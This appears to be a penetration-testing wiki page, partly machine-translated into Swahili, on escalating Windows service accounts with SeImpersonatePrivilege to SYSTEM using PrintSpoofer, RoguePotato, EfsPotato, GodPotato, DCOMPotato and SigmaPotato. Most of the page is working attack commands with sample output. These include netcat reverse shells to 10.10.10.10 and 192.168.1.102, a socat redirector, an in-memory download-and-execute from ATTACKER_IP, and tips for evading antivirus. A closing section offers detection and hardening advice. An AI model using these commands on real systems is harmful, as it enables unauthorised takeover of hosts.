RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

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JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards. However, PrintSpoofer, RoguePotato, SharpEfsPotato, GodPotato, EfsPotato, DCOMPotato** can be used to leverage the same privileges and gain NT AUTHORITY\SYSTEM level access. This blog post goes in-depth on the PrintSpoofer tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.

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A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.

Related pages for background and manual techniques:

SeImpersonate from High To System

From High Integrity to SYSTEM with Name Pipes

Abusing Tokens

Requirements and common gotchas

All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:

  • SeImpersonatePrivilege (maarufu zaidi) or SeAssignPrimaryTokenPrivilege
  • Ngazi ya uaminifu ya juu haitegemeeki ikiwa token tayari ina SeImpersonatePrivilege (kawaida kwa akaunti za huduma nyingi kama IIS AppPool, MSSQL, n.k.)

Check privileges quickly:

cmd
whoami /priv | findstr /i impersonate

Operational notes:

  • PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
  • RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
  • EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
  • Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.

Demo ya Haraka

PrintSpoofer

bash
c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"

--------------------------------------------------------------------------------

[+] Found privilege: SeImpersonatePrivilege

[+] Named pipe listening...

[+] CreateProcessAsUser() OK

NULL

Vidokezo:

  • Unaweza kutumia -i kuanzisha interactive process kwenye current console, au -c kuendesha one-liner.
  • Inahitaji Spooler service. Ikiwa imezimwa, hii itashindwa.

RoguePotato

bash
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999

Ikiwa outbound 135 imezuiwa, pivot the OXID resolver kupitia socat kwenye redirector yako:

bash
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999

# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999

SharpEfsPotato

bash
> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!

C:\temp>type C:\temp\w.log
nt authority\system

EfsPotato

bash
> EfsPotato.exe "whoami"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=aeee30)
[+] Get Token: 888
[!] process with pid: 3696 created.
==============================
[x] EfsRpcEncryptFileSrv failed: 1818

nt authority\system

Kidokezo: Ikiwa pipe moja inashindwa au EDR inaizuia, jaribu pipes nyingine zinazoungwa mkono:

text
EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)

GodPotato

bash
> GodPotato -cmd "cmd /c whoami"
# You can achieve a reverse shell like this.
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"

Vidokezo:

  • Inafanya kazi katika Windows 8/8.1–11 na Server 2012–2022 wakati SeImpersonatePrivilege ipo.

DCOMPotato

image

DCOMPotato inatoa matoleo mawili zinazolenga service DCOM objects ambazo kwa chaguo-msingi huweka RPC_C_IMP_LEVEL_IMPERSONATE. Jenga au tumia binaries zilizotolewa kisha endesha amri yako:

cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"

# McpManagementService variant (Server 2022 also)
McpManagementPotato.exe "cmd /c whoami"

SigmaPotato (imeboreshwa fork ya GodPotato)

SigmaPotato inaongeza vipengele vya kisasa kama in-memory execution kwa kutumia .NET reflection na PowerShell reverse shell helper.

powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
[SigmaPotato]::Main("cmd /c whoami")

# Or ask it to spawn a PS reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))

Vidokezo vya ugundaji na kuimarisha

  • Angalia processes zinazounda named pipes na mara moja kuita token-duplication APIs ikifuatiwa na CreateProcessAsUser/CreateProcessWithTokenW. Sysmon inaweza kuonyesha telemetry muhimu: Event ID 1 (process creation), 17/18 (named pipe created/connected), na command lines zinazozalisha child processes kama SYSTEM.
  • Spooler hardening: Kuizima Print Spooler service kwenye servers ambapo haitegemeiuzu huzuia PrintSpoofer-style local coercions kupitia spoolss.
  • Service account hardening: Punguza utoaji wa SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege kwa custom services. Fikiria kuendesha services chini ya virtual accounts zenye least privileges zinazohitajika na kuziwekea isolations kwa service SID na write-restricted tokens inapowezekana.
  • Network controls: Ku/block outbound TCP/135 au kuzuia RPC endpoint mapper traffic kunaweza kuvunja RoguePotato isipokuwa internal redirector ipo.
  • EDR/AV: Zana hizi zote zina signatures nyingi. Recompiling from source, kubadili majina ya symbols/strings, au kutumia in-memory execution kunaweza kupunguza detection lakini haitashinda behavioral detections imara.

Marejeo

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